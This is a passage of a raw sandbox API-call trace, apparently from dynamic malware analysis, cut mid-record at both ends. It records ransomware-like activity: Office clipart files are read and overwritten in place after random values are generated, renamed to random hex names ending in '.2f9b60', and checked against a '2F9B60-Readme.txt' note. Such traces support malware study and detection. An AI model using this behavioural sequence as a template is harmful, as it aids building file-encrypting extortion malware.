RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.479] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="77") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="85") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="c6") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="27") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="20") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="9c") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="8c") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="bd") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="09") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="48") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ef") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="e9") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="ea") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="3a") returned 2 [0108.479] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="45") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="52") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="72") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="cc") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="40") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="ff") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="ec") returned 2 [0108.480] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="d2") returned 2 [0108.480] RtlInitAnsiString (in: DestinationString=0x2b2ffda8, SourceString="7785c627209c8cbd0948efe9ea3a45521a7d72cc40ffecd2" | out: DestinationString="7785c627209c8cbd0948efe9ea3a45521a7d72cc40ffecd2") [0108.480] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b2ffd78, SourceString="7785c627209c8cbd0948efe9ea3a45521a7d72cc40ffecd2", AllocateDestinationString=1 | out: DestinationString="7785c627209c8cbd0948efe9ea3a45521a7d72cc40ffecd2") returned 0x0 [0108.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6430 [0108.480] wcscat (in: _Dest=0x205008b0, _Source="7785c627209c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c" [0108.480] wcscat (in: _Dest=0x205008b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c.2f9b60" [0108.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c.2f9b60", NtPathName=0x2b2ffd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7785c627209c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0108.480] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x2b2ffdf0, FileInformation=0x20279df0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0110.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265af0) returned 1 [0110.013] NtQueryInformationFile (in: FileHandle=0x17a8, IoStatusBlock=0x2b2ffdb8, FileInformation=0x2b2ffdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b2ffdb8, FileInformation=0x2b2ffdc8) returned 0x0 [0110.013] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x2b2ffdb8, FileInformation=0x2b2ffdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205008b0) returned 1 [0110.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6430) returned 1 [0110.025] FlushFileBuffers (hFile=0x17a8) returned 1 [0110.032] CloseHandle (hObject=0x17a8) returned 1 [0110.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500950 [0110.033] wcscpy (in: _Dest=0x20500950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.033] wcscat (in: _Dest=0x20500950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0110.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b410) returned 1 Thread: id = 684 os_tid = 0x1194 [0096.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0107.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", dwFileAttributes=0x20) returned 1 [0108.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0108.307] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x2b82fb60 | out: lpFileSize=0x2b82fb60*=3012) returned 1 [0108.307] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0xbc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.307] ReadFile (in: hFile=0x15e0, lpBuffer=0x2b82fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b82fb28, lpOverlapped=0x0 | out: lpBuffer=0x2b82fae0*, lpNumberOfBytesRead=0x2b82fb28*=0x4, lpOverlapped=0x0) returned 1 [0108.365] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861410 [0108.366] NtQuerySystemTime (in: CurrentTime=0x2b82fa20 | out: CurrentTime=0x2b82fa20*=132462177138562000) returned 0x0 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x18bccc4c [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x6d8f3e48 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x16022eb [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x18897911 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x46557c8e [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x726d37c4 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x62876e78 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x127a3b46 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x694496a2 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x3aceaa0e [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x3398e4d9 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x3630e51c [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x4ef2946a [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x6c4dcf2e [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x74954124 [0108.366] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x6f122797 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x1a515d2b [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x7712612b [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x72f19044 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x390e2041 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x242bdc60 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x5f44a1bd [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x7fd6e1a6 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x6fbddea6 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x5f1fec91 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x5ce07271 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x11f76a00 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x5368e543 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x192d6851 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x29daf397 [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x74bb639c [0108.367] RtlRandomEx (in: Seed=0x2b82fa10 | out: Seed=0x2b82fa10) returned 0x59459128 [0108.377] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x2b82fa10, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2b82fa10*=0xbc4, lpOverlapped=0x0) returned 1 [0108.377] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.377] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x2b82fa14, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2b82fa14*=0xbc4, lpOverlapped=0x0) returned 1 [0108.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0108.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0108.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0108.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0108.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd90 [0108.404] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.404] WriteFile (in: hFile=0x15e0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b82fb30, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2b82fb30*=0x10a, lpOverlapped=0x0) returned 1 [0108.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0108.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.420] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="62") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="b2") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="8c") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="58") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="db") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="34") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="54") returned 2 [0108.420] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="5e") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="c9") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="52") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d7") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="9f") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="f7") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="bd") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="87") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="e9") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="bd") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="0d") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="d6") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="29") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="53") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f0") returned 2 [0108.421] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="78") returned 2 [0108.421] RtlInitAnsiString (in: DestinationString=0x2b82fba8, SourceString="62b28c58db34545e0cc952d79ff7bd87e9bd0dd62953f078" | out: DestinationString="62b28c58db34545e0cc952d79ff7bd87e9bd0dd62953f078") [0108.421] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b82fb78, SourceString="62b28c58db34545e0cc952d79ff7bd87e9bd0dd62953f078", AllocateDestinationString=1 | out: DestinationString="62b28c58db34545e0cc952d79ff7bd87e9bd0dd62953f078") returned 0x0 [0108.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5cc0 [0108.421] wcscat (in: _Dest=0x205004f0, _Source="62b28c58db34" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34" [0108.421] wcscat (in: _Dest=0x205004f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34.2f9b60" [0108.421] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34.2f9b60", NtPathName=0x2b82fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62b28c58db34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279670 [0108.422] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2b82fbf0, FileInformation=0x20279670, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279670) returned 1 [0109.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267df0) returned 1 [0109.990] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x2b82fbb8, FileInformation=0x2b82fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b82fbb8, FileInformation=0x2b82fbc8) returned 0x0 [0109.990] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x2b82fbb8, FileInformation=0x2b82fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004f0) returned 1 [0110.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5cc0) returned 1 [0110.004] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.019] CloseHandle (hObject=0x15e0) returned 1 [0110.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500130 [0110.022] wcscpy (in: _Dest=0x20500130, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.022] wcscat (in: _Dest=0x20500130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500130) returned 1 [0110.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b4a0) returned 1 Thread: id = 685 os_tid = 0x1198 [0096.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0107.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", dwFileAttributes=0x20) returned 1 [0108.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1738 [0108.350] GetFileSizeEx (in: hFile=0x1738, lpFileSize=0x2b7af900 | out: lpFileSize=0x2b7af900*=2756) returned 1 [0108.350] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0xac0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.350] ReadFile (in: hFile=0x1738, lpBuffer=0x2b7af880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b7af8c8, lpOverlapped=0x0 | out: lpBuffer=0x2b7af880*, lpNumberOfBytesRead=0x2b7af8c8*=0x4, lpOverlapped=0x0) returned 1 [0108.385] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861410 [0108.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.386] NtQuerySystemTime (in: CurrentTime=0x2b7af7c0 | out: CurrentTime=0x2b7af7c0*=132462177138718000) returned 0x0 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x1dbf97e8 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x37e13a8e [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x49d37f32 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x2f69e969 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x229fe102 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x4501c993 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x25d5ffd8 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x16f1357d [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x2be14ead [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x73aa57b3 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x330a6965 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x4bed9ea4 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x294ad831 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x4bf59b57 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x34822897 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x1a290db4 [0108.386] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x4782edd7 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x1bcf3996 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x35cd59d [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x442abd27 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x31f572c [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x13aa756a [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0xb20aaa8 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x7f61bd9d [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x62d7d1bb [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x1c64cb46 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x418b559c [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x6a971a7d [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x35abbbb4 [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x5e05d51d [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x772329bc [0108.387] RtlRandomEx (in: Seed=0x2b7af7b0 | out: Seed=0x2b7af7b0) returned 0x28df7f9b [0108.400] ReadFile (in: hFile=0x1738, lpBuffer=0x41e79560, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x2b7af7b0, lpOverlapped=0x0 | out: lpBuffer=0x41e79560*, lpNumberOfBytesRead=0x2b7af7b0*=0xac4, lpOverlapped=0x0) returned 1 [0108.400] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.400] WriteFile (in: hFile=0x1738, lpBuffer=0x41e7d170*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x2b7af7b4, lpOverlapped=0x0 | out: lpBuffer=0x41e7d170*, lpNumberOfBytesWritten=0x2b7af7b4*=0xac4, lpOverlapped=0x0) returned 1 [0159.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4730 [0159.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4760 [0159.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4760) returned 1 [0159.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e7d170) returned 1 [0159.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e79560) returned 1 [0159.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.654] RtlAllocateHeap 